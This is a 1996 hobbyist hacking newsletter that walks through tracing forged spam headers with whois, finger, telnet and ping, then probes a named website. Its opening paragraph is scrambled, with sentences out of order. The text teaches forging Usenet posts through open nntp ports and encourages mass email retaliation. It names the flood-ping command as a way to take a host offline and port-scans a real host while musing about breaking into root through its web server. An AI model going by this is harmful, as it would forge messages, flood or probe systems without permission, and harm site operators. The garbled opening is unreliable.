And. this is much harder than email forging. But you can get their ISPs to cancel their accounts! Sure.it can be quite an effort to find an undefended nntp port..the spam attack I am about to teach you is perfectly legal! Do it and you are a certifiable Good Guy. Also. But they are always on the run. these Spam King types often resurface with yet another gullible ISP. Normally you won’t be able to learn the identity of the culprit yourself. So. And it is possible to tell where they were forged. too. when was the last time you got a Crazy Kevin “Amazing Free Offer?” If it weren’t for us Net vigilantes.” But-.] xpath MessageID Report problems to <usenet@swcp. keep in mind that some Internet host computers have an nntp port that requires either no password or an easily guessed password such as “post. your email boxes and news groups would be constantly spambombed to kingdom come. you can use the message ID to show the sysadmin who to kick out. we ask for: help And we get: 100 Legal commands authinfo user Name|pass Password|generic <prog> <args> article [MessageID|Number] body [MessageID|Number] date group newsgroup head [MessageID|Number] help ihave last list [active|newsgroups|distributions|schema] listgroup newsgroup mode reader newgroups yymmdd hhmmss ["GMT"] [<distributions>] newnews newsgroups yymmdd hhmmss ["GMT"] [<distributions>] next post slave stat [MessageID|Number] xgtitle [group_pattern] xhdr header [range|MessageID] xover [range] xpat header range|MessageID pat [morepat.Now when we are suddenly in a program that we don’t know too well. hey. And -. We can’t get too many spam vigilantes out there! The first thing we have to do is review how to read headers of Usenet posts and email. Do it at a party and teach your friends to do it.. . if you want to forge posts from an ISP other than your own.com> Use your imagination with these commands. Once you identify where spam really comes from. Just remember when forging Usenet posts that both faked email and Usenet posts can be easily detected -if you know what to look for. because you usually have to do this on your own ISP.

that’s an avalanche of mail bombing.military. Of course the first thing that jumps out is their return email address.com. But just to be sure the email address is phony. But of course it bounces back with a no such address message.personals Thread 134 of 450 Lines 110 >>>>FREE INSTANT COMPATIBILITY CHECK FOR SEL No responses ppgc@ozemail. I exit tin and at the Unix prompt give the command: whois ozemail.au We get the answer: No match for "OZEMAIL. say.net. It is not nearly as well policed by anti-spam vigilantes as. 22 Aug 1996 23:01:56 alt.COM.partners@hunterlink. A copy of the offending spam is usually annoying enough. On a well-read group like alt. perfect. however.personals spam? . The next step is to email something annoying to this address. and good-bye spam account. (People spam fighter pilots at their own risk!) So here is a ripe example of scam spam.au glennys e clarke at OzEmail Pty Ltd . So in order to delay the inevitable vigilante response. Why am I not surprised that it is different from the address in the alt.com. most successful relationship consultants. Next I go to the advertised Web page. A really good place to spot spam is in alt. because the “au” at the end of the email address means it is an Australian address.AU" That doesn’t prove anything. rec. But the skilled hacker can tell whether a host listed in the header was really used.The header is something that shows the route that email or Usenet post took to get into your computer. We introduce ladies and gentlemen for friendship and marriage.personals. as shown with the Unix-based Usenet reader. Alternatively. Lo and behold. With over 15 years experience.perfect-partners. Unfortunately “whois” does not work in much of the Internet outside the US. First we’ll try an example of forged Usenet spam. the skilled forger may use the names of real hosts. Us net vigilantes used to always send a copy back to the spammer’s email address. it has an email address for this outfit.au WHY SELECTIVE SINGLES CHOOSE US At Perfect Partners (Newcastle) International we are private and confidential.aviation. It gives the names of Internet host computers that have been used in the creation and transmission of a message.Australia CLICK HERE FOR YOUR FREE INSTANT COMPATIBILITY CHECK! http://www.au. When something has been forged.” Thu.personals. today most spammers use fake email addresses. the computer names may be fake. if only one in a hundred readers throws the spam back into the poster’s face. however. This avalanche immediately alerts the sysadmins of the ISP to the presence of a spammer. “tin.com. Perfect Partners is one of the Internet's largest.

I can’t send that gif of mating hippopotami. Our first step will be to dissect the header of this post to see how it was forged and where. which would include causing hours of work to recover from a spamming.net!OzEmail !OzEmail-In!news From: glennys e clarke <ppgc@ozemail.swcp.partners@hunterlink. they usually waste no time kicking him or her out. I open it in the email program “Pine” and get a richly detailed header: Path: sloth. Since intentional mailbombing is illegal. . It arrives a few minutes later. Look at what ISP owner/operator Dale Amon has to say about the power of email protest: “One doesn't have to call for a ‘mail bomb.com!news. and good-bye spam account.net!nntp04.mindspring.swcp. when the people who run an ISP find out one of their customers is a spammer.edu!vixen. And we are about learn one of them. It was the last link in the chain of computers that have passed this spam around the world.uiuc. Since my newsreader (tin) doesn’t have a way to show headers.com.com!nntp.22 (Windows. you are criminally liable.partners.com!uunet!in2.com. you can take out the whole system.46 Mime-Version: 1. It’s the computer my ISP uses to host the news groups.com!gatech!nntp0.” Now Dale is also the owner and technical director of the largest and oldest ISP in Northern Ireland.uoregon.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 1.primen et. they still may get thousands of protests from every post.primenet.net. I use the “m” command to email a copy of this post to my shell account.” *************************** Sigh.15. According to computer security expert Ira Winkler. and take out that connection! Believe me. I figure that thousands of others are doing the same. 16bit) The first item in this header is definitely genuine: sloth. That makes it even more criminal. I have no compunctions and no guilt over it.ironhorse.com!news.mindspring. maybe gifs of mating hippopotami? *************************** You can go to jail note! Mailbombing is a way to get into big trouble. I find it and post it if I have time.au.166.stealth. Hmmm. Whenever I see spam. If they (the spammers) hide their return address. “It is illegal to mail bomb a spam. so he knows some good ways to ferret out what ISP is harboring a spammer. I automatically send one copy of their message back to them. This high volume of email may be enough to alert their ISP’s sysadmin to spamming. Now this might seem like a wimpy retaliation.cso. So what I did was email one copy of that spam back to perfect. If a system is not configured properly. If only one in a thousand people who see their spam go to their Web site and email a protest.We could stop right here and spend an hour or two emailing stuff with 5 MB attachments to perfect. I. And we will shortly learn how to do much more.’ It just happens. and has the mail directory on the system drive. If it can be shown that you maliciously caused a financial loss.edu!news. But even just sending one email message to these guys may become part of a tidal wave of protest that knocks them off the Internet.com!news.au> NNTP-Posting-Host: 203. Our objective is to find out who connects this outfit to the Internet.uu.

com” the second name.com” kind of like the city. too.The following addresses had delivery problems ----postmaster@203.com. But in this case it refuses any connection whatever.46. it should have a nntp port that accepts visitors.9/8.166. “Swcp. it looks like the nntp server info was forged. If this really was a computer that handles news groups..15.com (8.15.166. So “sloth” is kind of like the news server computer’s first name. But this is not common in an ISP that would be serving a spammer dating service. 28 Aug 1996 21:58:06 -0600 from cmeinel@localhost ----.6.46 (unrecoverable error) ----.166.15. and “swcp.46: host not found) The original message was received at Wed.Original message follows ----Return-Path: cmeinel Received: (from cmeinel@localhost) by kitsune.166. Next we check the second from the top item on the header. and “swcp.15. There is another explanation: there is a firewall on this computer that filters out packets from anyone but authorized users. Next I try to email postmaster@203.46 with a copy of the spam.46: host not found) ----..” I figure it must be a computer that hosts news groups.46 119 We get back: Trying 203.166.com> To: cmeinel@techbroker. too.166.Transcript of session follows ----501 postmaster@203. ******************* Let’s next do the obvious.com Subject: Returned mail: Host unknown (Name server: 203.15.com” is the domain name owned by Southwest Cyberport. “Sloth” is also kind of like the street address.15..166. 28 Aug 1996 21:58:13 -0600 From: Mail Delivery Subsystem <MAILER-DAEMON@techbroker. All host computers also have numerical versions of their names. “Sloth” is the name of one of the computers owned by the company which has the “domain name” swcp. So we telnet to its nntp server (port 119): telnet 203.6. state and zip code.46.g.swcp.166. But I get back: Date: Wed. Because it starts with the word “news. e.46.166.15. The header says this post was composed on the host 203..15. 550 Host unknown (Name server: 203.46 . It might only accept a visitor for the split second it takes to see that I am not authorized to use it. So I check out its nntp port: .9) id OK. This kind of firewall is more commonly used to connect an internal company computer network with the Internet.******************* Newbie Note #2: Internet host computers all have names which double as their Net addresses. telnet: connect: Connection refused This looks a lot like a phony item in the header. 203.15.

Accounts (PA10-ORG) ap@UU. Technical Contact. OK. This host computer in the header isn’t currently connected to the Internet.net The result is: UUNET Technologies. yes.uu. AlterNet [Technical Support] (OA12) help@UUNET. Connected to boxcar. this one is a valid news server. It probably is forged. Let’s check the domain name next: whois uu. 502 You have no permission to talk.167.com. Now let’s jump to the last item in the header: in2.UU..net: unknown host There is something fishy here. we have also just learned the name/address of the computer ironhorse. Goodbye.ironhorse.145. Oh.4 .net nntp We get the answer: in2. Escape character is '^]'.com nntp And the result is: Trying 204.uoregon.223. too.” I try the next item in the path: telnet news. Connection closed by foreign host OK. Connected to pith. Inc. Goodbye.uoregon.edu nntp And get: Trying 128.ironhorse. VA 22031 USA Domain Name: UU.NET Administrative Contact.telnet news.. we now know that this part of the header references a real news server..com uses to handle the news groups: “boxcar.uu. 502 You have no permission to talk.220. Zone Contact: UUNET.NET (703) 206-5600 Fax: (703) 641-7702 .edu.NET +1 (800) 900-0241 Billing Contact: Payable. Escape character is '^]'.. (UU-DOM) 3060 Williams Drive Ste 601 Fairfax. Connection closed by foreign host.uu.25 .net: telnet in2.

this part of the header may be forged. So uu.com Now this is phun! Trying 204. but telnet automatically goes to 23 unless we tell it otherwise: telnet news.PA. telnet: connect: Connection refused Notice how many host computers are tried out by telnet on this command! They must all specialize in being news servers.166: Connection refused Trying 204.180.185 . Let’s telnet to the port that gives the login sequence..182: Connection refused Trying 204. Escape character is '^]'.128. This looks like a good candidate for the origin of the spam.128..185 .PA.. There are 5 news server hosts. we next try: telnet news.11 The InterNIC Registration Services Host contains ONLY Internet Information (Networks.182 .128.167 .COM 16.NET 192.mil for MILNET Information.0.128.128.39.3 UUCP-GW-1.18 UUCP-GW-2.168: Connection refused Trying 204.18 204. Interesting.2...128.16.0. Let’s do a whois command on the domain name next: . and POC's).128.net listed in the header isn’t currently connected to the Internet.128.180. Please use the whois server at nic. Connection closed by foreign host.19 NS.167: Connection refused Trying 204.net is a real domain.180. telnet: connect to address 204. But since the host computer in2...202.1. since none of them handles logins.180.168 .uu.180. I don’t get a specific host name for the nntp port. ASN's.UU.1. Domain servers in listed order: NS.DEC. Record created on 20-May-87.180. there’s a way to try.Record last updated on 23-Jul-96. telnet: connect to address 204. Domains. Goodbye..128.180. telnet: connect to address 204. That’s port 23.123.com.COM 16.. too. then.180.166 .mindspring. What does this mean? Well.mindspring.EU.180.DEC.NET 137. telnet: connect to address 204.128. 502 You are not in my access file..com nntp I get: Trying 204..ddn..180. (However.) Working back up the header. there may be other explanations for this. Connected to news.1.mindspring.

128. (MINDSPRING-DOM) 1430 West Peachtree Street NE Suite 400 Atlanta.3 ********************* Newbie Note #3: The whois command can tell you who owns a domain name. Record created on 21-Apr-94. Inc.COM 204. K. Domain servers in listed order: CARNAC.128. “Thousands of Spammees send back oh-so-polite notes about the improper behavior of the Spammer. and offers lots of computers on which to forge a post. Fred (JFN) jnixon@MINDSPRING.MINDSPRING.180. The domain name is the last two parts separated by a period that comes after the “@” in an email address. maybe a 5 MB gif of mating hippos? Even if it is illegal? But systems administrator Terry McIntyre cautions me: “One needn't toss megabyte files back ( unless. Anne (KAP4) peavler@MINDSPRING. Most Spammers get the point fairly quickly.COM (404)815-0770 Billing Contact: Peavler. Zone Contact: Ahola. just so that the poster knows what the trouble was. J. of course. Spammer sends one post to ‘reach out and touch’ thousands of potential customers. The reason is that this part of the header looks genuine. one is helpfully mailing a copy of the offending piece back. A letter to the technical contact at hostmaster@mindspring. Hmmm.95 204.COM 404-815-0770 Technical Contact.180. ********************* I’d say that Mindspring is the ISP from which this post was most likely forged.COM Administrative Contact: Nixon.MINDSPRING.com with a copy of this post may get a result. Esa (EA55) hostmaster@MINDSPRING. . GA 30309 USA Domain Name: MINDSPRING. ) “The Law of Large Numbers of Offendees works to your advantage. But personally. or the last two parts separated by a period in a computer’s name.com We get: MindSpring Enterprises.whois mindspring.COM HENRI. I would simply go to their Web site and email them a protest from there.COM 404-815-0770 (FAX) 404-815-8805 Record last updated on 27-Mar-96.

com rthomas3@ix.com hiwaygo@ix. use private email to make such complaints.“One note . I would send a polite note including the Usenet post with headers intact to the technical contact and/or postmaster at each of the valid links I found in this spam header.com carrielf@ix.com readme@readme. We have informed this user of our policies.netcom.” Well.com date-net@ix.netcom.com prospnet@ix.com jhatem@ix.netcom.netcom. Here’s an example of an email I got from Netcom about a spammer I helped them to track down.netcom.net captainx@ix. If they continue to break Netcom policies we will take further action.netcom.com kncd@ix.com nickshnn@netcom.com duffster@ix.com ajb1968@ix.com charlene@ix.com alluvial@ix.netcom.netcom.com> Subject: Thank you for your report Thank you for your report.com joyful3@ix.com mailing1@ix.com iggyboo@ix.netcom. and including cancellation of the account.netcom.com> Reply-To: <abuse@netcom.netcom.netcom.netcom.netcom.com spilamus@ix.netcom.com noon@ix.netcom.netcom.netcom.com .netcom.netcom.netcom.netcom.com aessedai@ix.one _wrong_ thing to do is to post to the newsgroup or list about the inappropriateness of any previous post. Chances are that they will thank you for your sleuthing. depending on the particular incident.netcom.netcom.netcom.netcom. up to.com jwalker5@ix.netcom.com rmerch@ix. The following issues have been dealt with: santigo@ix. and have taken appropriate action.com niterain@ix.com fonedude@ix.netcom.com binary@ix. the bottom line is that if I really want to pull the plug on this spammer. Always. Otherwise.com clau@ix.com frugal@ix. always.netcom.netcom.com slatham@ix.netcom.netcom.com rvaldes1@ix.com kkooim@ix.com falcon47@ix.netcom.com sia1@ix.netcom. the newbie inadvertently amplifies the noise level for the readers of the newsgroup or email list. From: Netcom Abuse Department <abuse@netcom.com mattyjo@ix.com magnets@ix.com sliston@ix.

It is FREE just for the asking.CA 93389-9864 This is a gated community and it is "FREE".com "FREE" House and lot in "HEAVEN" Reserve yours now.38.7. You receive a Personalized Deed and detailed Map to your home in HEAVEN. a program written by Jeff Slayton to strip huge volumes of email addresses from Usenet posts. .ca. _______________________________________________________ So. Here's one I recently got: Received:from mail. have you been out on Usenet blasting spammers? It's phun. you will notice that soon after you post.gnn. 17 Aug 1996 01:55:06 -0400 (EDT) Date: Sat.98 cash. Spencer Abuse Investigator ___________________________________________________________________ NETCOM Online Communication Services Abuse Issues 24-hour Support Line: 408-983-5970 abuse@netcom.netcom.netcom. do not wait. check. or money order to help cover s/h cost TO: Saint Peter's Estates P.los-angeles-3. This is mostly thanks to Lightning Bolt.thy@ix.1/8.com Sorry for the length of the list.9) with SMTP id BAA14636. Box 9864 Bakersfield.6.com (70.gnn.O. 9PS. >From the Gate Keeper.com (8. Send your name and address along with a one time minimum donation of $1. Total satisfaction for 2 thousand years to date.com> To: Subject: Forever From: FREE@Heaven.com vhs1@ix.com ************** GUIDE TO (mostly) HARMLESS HACKING Vol.net [165.70]) by mail-e2b-service. you will often get spam email.dial-access. do it today. 1 Number 5 It's vigilante phun day again! How get email spammers kicked off their ISPs.BAA14636@mail-e2b-service.att. Sat.238. 17 Aug 1996 01:55:06 -0400 (EDT) Message-Id: <199608170555. See you at the Pearly Gates) GOD will Bless you. right? But if you have ever done much posting to Usenet news groups.gnn.

However.180. But I am going to make you wait in dire suspense for a later Guide to (mostly) Harmless Hacking to tell you how some people use ping.156. . if you don't get it hosted by a computer on the Internet within a few weeks.NET 206. Another is that heaven.com is inactive. It could be on a host computer that is turned off. You just pay your money and Internic. we employ the same command that we used with Usenet spam: whois heaven. Melo. Technical Contact. Now ping. can be used for either information or as a means of attack. it would be *illegal* to use ping as a weapon. let's check out the return email address: finger FREE@heaven.com.COM Administrative Contact.COM NOC. Domain servers in listed order: CHEX. Zone Contact. Record created on 17-Jun-93.COM (818) 295-6671 Record last updated on 02-Apr-96. Olive Avenue Burbank. This command tells you whether a computer is currently hooked up to the Internet and how good its connection is.com We get: [heaven.Now it is a pretty good guess that this spam has a forged header. ********************* Newbie note: You can register domain names without setting them up on a computer anywhere. like most kewl hacker tools. One is that the systems administrator for heaven.153. Michael (MM428) michael@HEAVEN. you may loose your registration. will put it aside for your use.com: Connection timed out There are several possible reasons for this. which registers domain names. yes.22 Billing Contact: >From this we conclude that this is either genuine (fat chance) or a better forgery than most. First.HEAVEN.com has disabled the finger port.17.com] finger: heaven.com We get the answer: Time Warner Cable Broadband Applications (HEAVEN-DOM) 2210 W.CERF. To identify the culprit. Besides. So let's try to finger FREE@heaven. CA 91506 Domain Name: HEAVEN.2 192. or maybe just an orphan. ********************* We can test these hypotheses with the ping command.

Let's look at another link on the header: whois gnn.com is alive *********************** Technical Tip: On some versions of Unix. To get out of the ping command. telnet: connect: Connection timed out OK.Because of ping's potential for mayhem. now we know that people can't remotely log in to heaven. How about chex. Does it allow logins? We test this with: telnet heaven.heaven. I get: Trying 206.. VA 22182 .com 79 This is the finger port. telnet: connect: Connection timed out I then try to get a screen that would ask me to login with user name.180. your shell account may have disabled the use of ping for the casual user.giving the command "ping" will start your computer pinging the target over and over again without stopping.200. next Guide to (mostly) Harmless Hacking will tell you more about the serious hacking uses of ping.heaven.1 . hold down the control key and type "c". And be patient. this answer means heaven.com. For example.17.com or chex.. The result is: Trying 198.com is hooked up to the Internet right now.. with my ISP I have to go to the right directory to use it. So it sure looks as if it was an unlikely place for the author of this spam to have really sent this email.heaven.com The result is: heaven.com? Maybe it is the place where spam originated? I type in: telnet chex. *********************** Well." This suggests strongly that neither heaven.2 .com are being used by people to send email.182. but once again get "Connection timed out. So I give the command: /usr/etc/ping heaven. So this is probably a forged link in the header.com This should get us to a screen that would ask us to give user name and password.com The answer is: America Online (GNN2-DOM) 8619 Westwood Center Drive Vienna..

NJ 07054-1113 US Domain Name: ATT. heaven. Having decided there is money in forging spam.com is owned by America Online. Richard (RC1504) colella@AOL. Sounds logical.USA Domain Name: GNN. Record created on 22-Jun-93.NET 204. like Compuserve.COM . Domain servers in listed order: DNS-01.NET 703-453-4427 Technical Contact.210. Pat (PG756) pegardner@ATTMAIL.ANS.NET 703-453-4420 Billing Contact: Lyons. Zone Contact: DNS Technical Support (DTS-ORG) hostmaster@ATTMAIL. but let's not jump to conclusions.83.GNN.com would be routing email through AOL. GNN. Technical Contact. So let's check out the remaining link in this header: whois att. Zone Contact: Runge. This is just a hypothesis and it may be wrong. So it isn't real likely that heaven.241 198.COM Administrative Contact: Colella. Marty (ML45) marty@AOL.COM 314-519-5708 Billing Contact: Gardner.28 Whoa! GNN. So this gives yet more evidence that the first link in the header.com. In fact. huh? Ah. is it? It would be almost like finding a header that claims its email was routed through the wide area network of some Fortune 500 corporation.148.COM 703-453-4411 Record last updated on 07-May-96.COM DNS-AOL. it's starting to look like a good bet that our spammer is some newbie who just graduated from AOL training wheels. was forged.NET Administrative Contact. Michael (MR1268) runge@AOL.98. Then with a shell account he or she could get seriously into forging email. he or she may have gotten a shell account offered by the AOL subsidiary. is a computer network of its own that has gateways into the Internet. Now America Online.net The answer is: AT&T EasyLink Services (ATT2-DOM) 400 Interpace Pkwy Room B3C25 Parsippany.

ATT.net.net. the best place to send a complaint is postmaster@att.191.MA.net. The culprit could have sent email from any of heaven. abuse@heaven.ELS-GMS.com> NNTP-Posting-Host: helium.OR.NET199.OH. too. who is listed by whois as the technical contact.139 WYCU.128. But how well does writing a letter of complaint actually work? I asked ISP owner Dale Amon. Now we know that if you want to complain about this spam. Domain servers in listed order: ORCU.NP.net as suspected homes for this spammer.NP.admin. he or she usually is kicked out of the ISP.ATT.com notified.ELS-GMS.net (the good guess) or hostmaster@ATTMAIL.com Supersedes: <4uvq4a$3ju@helium.43 OHCU.NET199. There's a news group on the Usenet where people can exchange information on both email and Usenet spammers.NET199.net-abuse.com and att. Postmasters at att. He replied.misc. Presumably one of the people reading email sent to these addresses will use the email message id number to look up who forged this email.com and root@heaven.191.NET.Free B 4 U . We know heaven.com.net-abuse.ELS-GMS.191.com has already stated that it came from att.144. Record created on 13-Dec-93.iecorp.iecorp.misc Subject: junk email . Sure enough.com is highly unlikely because we can't get even the login port to work.com and heaven. Also email postmaster@heaven.COM (technical contact).NP. Let's pay it a visit and see what people may have dug up on FREE@heaven.ATT.129.com.FREE@Heaven. lots of other people probably have been.com.NP.com or att.ELS-GMS. I find a post on this heaven scam: From: bartleym@helium. We should also email either postmaster@att.com (Matt Bartley) Newsgroups: news.BR.given the number of generations of . gnn.201-331-4453 Record last updated on 27-Jun-96. The next step is to email a copy of this spam *including headers* to both postmaster@gnn.com (usually a good guess for the email address of the person who takes complaints) and runge@AOL. "From the small number of spam messages I have been seeing .145. news. But we still have gnn.iecorp.ATT.com (snip) No doubt a made-up From: header which happened to hit a real domain name.iecorp. But here is a shortcut. If you have been spammed by this guy. Clearly the first Received: header is inconsistent.75 MACU.net.com to let them know how their domain name is being used. forged to look like it came from gnn.MT.MT.BR. gnn. Once the culprit is discovered. gnn.WY.136 Another valid domain! So this is a reasonably ingenious forgery.NET199.com> Date: 15 Aug 1996 14:08:47 -0700 Organization: Interstate Electronics Corporation Lines: 87 Message-ID: <4v03kv$73@helium.admin.191.

it’s still illegal. I think that is a really. Even if you just gain root access and immediately break off your connection -. and some damn bureaucrats will write up Rules and Regulations and Penalties and all of that nonsense. If that action causes problems for an ISP it puts it in their economic interest to drop customers who cause such harm. In addition.it’s still illegal. I'd say that self-policing is marvelously effective. If enough people are annoyed. As the spam kings Jeff Slayton. You can get thrown in jail! I don’t want the hacker tools you can pick up from public Web and ftp sites to lure anyone into getting busted. The same holds for Web sites that go over the edge.the system appears to be *strongly* self regulating. Sounds like phun to me! In fact. There is no law that forces an ISP to serve people they don’t like. the Internet would probably grind to a halt from the load these spammers would place on it. *************** . Crazy Kevin. really kewl idea -. life as a spammer is life on the run. ie the spammers.it’s still illegal. She is absolutely right. yes. let's not invite any of it to follow us onto the 'net. We already have a fairly decent self-policing mechanism in place. Government and legal systems don't work nearly so well. it would be fair to say that without us net vigilantes. Economic interest is often a far stronger and much more effective incentive than legal requirement. you have committed a Federal felony. and. "I applaud Carolyn's efforts in this area. they respond. The reason I bring this up is that a Happy Hacker list member has told me he would like to vandalize kiddie porn sites. "Considering that half of everybody on the internet are newbies (due to the 100% growth rate). "And remember that I say this as the Technical Director of the largest ISP in Northern Ireland. "Invite the gov't to do our work for us. You don’t have to cause any harm at all -. oh." So it looks like Internet professionals prefer to control spam by having net vigilantes like us track down spammers and report them to their ISPs.exponential net growth I have seen in 20 years . It is easy to use them to vandalize Web sites. GUIDE TO (mostly) HARMLESS HACKING Vol. We have enough of that in the world outside the 'net. if you use the phone lines or Internet across a US state line to break into a non-public part of a computer. the original spam artists Cantor and Siegal have learned.except for one problem. But it is hard to use them without getting caught! ***************** YOU CAN GO TO JAIL NOTE: Getting into a part of a computer that is not open to the public is illegal. 1 Number 6 It’s vigilante phun day one more time! How to nuke offensive Web sites. Even if you are doing what you see as your civic duty by vandalizing kiddie porn -. Spammers are controlled by the market. "I am opposed to attempts to sue spammers. _______________________________________________________ How do we deal with offensive Web sites? Remember that the Internet is voluntary." How about suing spammers? Perhaps a bunch of us could get together a class action suit and drive these guys into bankruptcy? Systems administrator Terry McIntyre argues.

eventually. then you go to the next level up. In the US. I am going to use a real URL. While there are laws against it in the US. If the imagery is hosted on a physical storage device within the jurisdiction of a country with laws against it.Here’s another problem. Do you just launch an attack? No. ******************* They can go to jail note: In the US and many other countries. Believe me. This is being used for purposes of illustration only because this URL is carried by a host with so many hackable features. Yes. If the ISP is run by some pervert who wants to make money by offering kiddie porn. as you will soon find out. Even if it were illegal everywhere. it *will* be back. carries X-rated material. it would have responded like my Web site does: /usr/etc/ping techbroker. to the ISP that provides connectivity for the kiddie porn ISP. how do you find the people who can put a Web site on the run? We start with the URL. But please keep in mind that I am not saying this actually is a web address with kiddie porn. in lots of countries the police only bust people in exchange for you paying a bigger bribe than the criminal pays. But it could just be the that the machine that runs the disk that holds this Web site is temporarily down. most human beings are so disgusted at kiddie porn that they will jump at the chance to shut it down. So if you know enough to help the authorities get a search warrant. So visit it at your own risk.org Now if this Web site had been up. by at least some standards.com .org The answer is: /usr/etc/ping: unknown host phreak. Not wanting to get caught acting on a stupid rumor.or anything else. http://www. This is how hacker wars start. this would be the FBI. It also. But what if the Internet were limited to carrying only stuff that was totally inoffensive to everyone? That’s why it is against the law to just nuke ISPs and Web servers you don’t like. There is a way to tell if the computer that serves a domain name is running: the ping command: /usr/etc/ping phreak. ******************* But the kind of mass outrage that keeps spammers on the run can also drive kiddie porn off the Web. it is really easy to blow an Internet host off the Internet. I go to the Web and find the message “no DNS entry. What if phreak. by all means contact them.org is actually a nice guy place? Even if they did once display kiddie porn. It took just two grouchy hacker guys to get the DC-stuff list turned off . It is *so* easy that doing this kind of stuph is NOT elite! So what’s the legal alternative to fighting kiddie porn? Trying to throw Web kiddie porn guys in jail doesn’t always work.” So this Web site doesn’t look like it’s there just now. So. There someone will be delighted to cut off the b*****ds. Many countries have no laws against kiddie porn on the Internet. perhaps they have repented. In fact. the problem is that the Internet is global. The key is that no one can force an ISP to carry kiddie porn -. the person who puts this imagery on the storage device can go to jail. *We* have the power. kiddie porn is illegal.phreak.org Now let’s say someone just told you this was a kiddie porn site.

This example is from BSD Unix.org Phreaks. 1313 Mockingbird Lane San Jose. If several people do this simultaneously.com. If you do it anyhow.the ping-f command will send out packets as fast as the target host can respond for an indefinite length of time. Quarterdeck Internet Suite and many other software packages also offer this wimpy version of the ping command.262.org host: http://www. CA 95132 US Domain Name: PHREAK.This gives the answer: techbroker.*now* do you want to install Linux? ************************* ************************* Netiquette warning: “Pinging down” a host is incredibly easy.phreak. So it looks like the phreak.ORG (408) 262-4142 Technical Contact.ORG 408. Zone Contact: Hall. Well. so don’t do it to impress your friends. Inc.which you can get by installing Linux on your computer -.org? I put in the search commands: link: http://www. or else that the computer hosting it is not connected to the Internet. Are there many Web sites with links to phreak. This can keep the target extremely busy and may be enough to put the computer out of action.com either does not exist. ************************* ************************* You can go to jail warning: If it can be shown that you ran the ping-f command on purpose to take out the host computer you targeted.digital.phreak.4142 Record last updated on 06-Feb-96. It is able to search for links embedded in Web pages.or much worse! If you should accidentally get the ping command running in assault mode. now we have established that at least right now. http://phreak. be ready to be sued by the owner of your target and kicked off your ISP-. But is this temporary or is it gone.com is alive ************************* Evil Genius Note: Ping is a powerful network diagnostic tool. gone. (PHREAK-DOM) Phreaks. this is a denial of service attack and hence illegal.org have a record at Internic? Let’s try whois: whois phreak. Inc. It’s way too easy to be regarded as elite. Patrick (PC61) pc@PHREAK. gone? We can get some idea whether it has been up and around and widely read from the search engine at http://altavista. the target host will almost certainly be unable to maintain its network connection. you can quickly turn it off by holding down the control key while pressing the “c” key. ************************ OK. does phreak.ORG Administrative Contact. But in its most powerful form -. . Billing Contact: Connor.org But they turn up nothing. So -. Barbara (BH340) rain@PHREAK.org site is not real popular.

(In fact. The fact that phreak. we can conclude that either: 1) The phreak.NEXCHI. Next I finger their technical contact: finger rain@phreak.ASYLUM.org again. Connected to phreak. later probing shows that it is often down.PPP. Domain servers in listed order: PC. / /____/ .17 NS. So now we have learned that the computer hosting phreak.ABLECOM.33 ASYLUM.33. I discover it is now alive..NET 204. It may well have a firewall that rejects attempted logins from anyone who telnets in from a host that is not on its approved list. _/_ /___ _ ___ | /| |__/ /_/ / / _ /_/ / /_/ /_/ /_/ /_/ |_| /_____/ /_/ |_/_/ |_|(_)____//_/ _\__.org sysadmin is not very security-conscious. Aha! Someone has connected the computer hosting phreak.2 Next I wait a few hours and ping phreak.8.Record created on 30-Apr-95.org.4. or . Since finger is one of the best ways to crack into a system.ORG 205.75.org runs a finger service is interesting. I’d only rate it PG-13. Escape character is '^]'.95. ______________ _______________________________ __ ___ __ \__ / / /__ __ \__ ____/__ |__ //_/____________________ _ __ /_/ /_ /_/ /__ /_/ /_ __/ __ /| |_ .) I try telnetting to their login sequence: telnet phreak.NET 204.org Its response is: [phreak.75..33.33 .< _ __ \_ ___/_ __ `/ _ ____/_ __ / _ _.org to the Internet! The fact that this gives just ASCII art and no login prompt suggests that this host computer does not exactly welcome the casual visitor. however.217.org Trying 204.org] It then scrolled out some embarrassing ASCII art. Finger it yourself if you really want to see it. Connection closed by foreign host.org is sometimes connected to the Internet and sometimes not.

acme. Connected to phreak.0 400 Bad Request Server: thttpd/1.org. So there is a huge temptation to use calls to root. One of the Happy Hacker list members who helped me by reviewing this Guide. but let’s keep out of trouble and just leave that port 79 alone.00</A></ADDRESS </BODY></HTML> Connection closed by foreign host.org. which would provide access to any Web sites hosted by phreak. version 1. When I tried using the port 79 method on phreak. If I were the technical administrator for phreak. <HR> <ADDRESS><A HREF="http://www. And a program with calls to root just might crash and dump you out into root. you guessed it.org.org does have a web server on its host computer. Now we know that phreak.33. Escape character is '^]'. Also. William Ryan. it connects and then displays a hand with its middle finger raised and the comment "UP YOURS.. In the case of a Web server. a little port surfing: telnet phreak.ah.org 80 Here’s what I get: Trying 204..org? We could just bring up a Web surfing program and take a look. decided to further probe phreak.2) It is so important to phreak." When I tried using finger.org’s finger port: “I have been paying close attention to all of the "happy hacker" things that you have posted. ************************ .. This server is called thttpd. 22-Aug-96 18:54:20 GMT <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY><H2>400 Bad Request</H2> Your request '' has bad syntax or is inherently impossible to satisfy. this is just *too* tempting.org to send out insulting messages that the sysadmin doesn’t care about the security risk of running finger.33 .0. I would get a better program running on port 80 before someone figures out how to break into root with it. I don’t want to view dirty pictures and naughty words. But we are hackers and hackers never do stuph the ordinary way. HTTP/1.. Since we have seen evidence of a fire wall.00 Content-type: text/html Last-modified: Thu.org/software/thttpd/">thttpd/1. that’s a pretty weird error message. We also may suspect that it is a bit buggy! What makes me think it is buggy? Look at the version number: 1. case 2 is probably true. OK? Now how about their HTML port.75. you want to give readonly access to remote users in any user’s directories of html files. The problem is that buggy code is often a symptom of code that takes the lazy approach of using calls to root.0. So we check to see if it is active with. I get logged on and a message is displayed shortly thereafter "In real life???"” Oh. Besides.

